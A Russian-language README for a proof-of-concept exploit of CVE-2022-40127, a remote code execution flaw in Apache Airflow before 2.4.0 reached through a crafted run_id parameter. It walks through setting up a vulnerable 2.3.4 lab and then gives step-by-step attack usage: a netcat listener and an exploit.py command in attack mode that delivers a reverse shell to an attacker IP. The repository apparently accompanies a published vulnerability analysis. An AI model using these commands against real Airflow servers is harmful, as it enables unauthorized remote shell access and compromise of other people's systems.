
Эксплойт proof-of-concept для CVE-2022-40127, нацеленный на RCE в Apache Airflow через поддельный параметр run_id, с автоматической доставкой обратного шелла.
PoC для CVE-2022-40127 — это уязвимость RCE в Apache Airflow, затрагивающая версии до 2.4.0.
Официальное описание отчета гласит:
Уязвимость в Example Dags Apache Airflow позволяет атакующему с доступом к UI, способному запускать DAG, выполнять произвольные команды через вручную заданный параметр run_id. Эта проблема затрагивает версии Apache Airflow до 2.4.0.
Репозиторий создан для публикации анализа CVE в блоге vsociety blog.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Вы можете клонировать репозиторий:
git clone https://github.com/jakabakos/CVE-2022-40127.git
Скачайте docker-compose файл из официального репозитория
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Запустите Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
В этом случае и имя пользователя, и пароль будут airflow.
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Вы можете проверить успешность установки командами which airflow и/или airflow info.
Запустите Airflow
airflow standalone
Посмотрите сгенерированный пароль и имя пользователя в логах.
Сначала установите необходимые пакеты с помощью pip:
pip3 install -r requirements.txt
Посмотрите возможные опции с помощью:
python3 exploit.py --help
Вы можете проверить, можно ли эксплуатировать хост или нет:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Настройте локальный слушатель для обратной оболочки в другом сеансе терминала:
nc -lvnp 4242
Запустите скрипт в режиме атаки этой командой:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Вы должны увидеть соединение в течение минуты или около того.
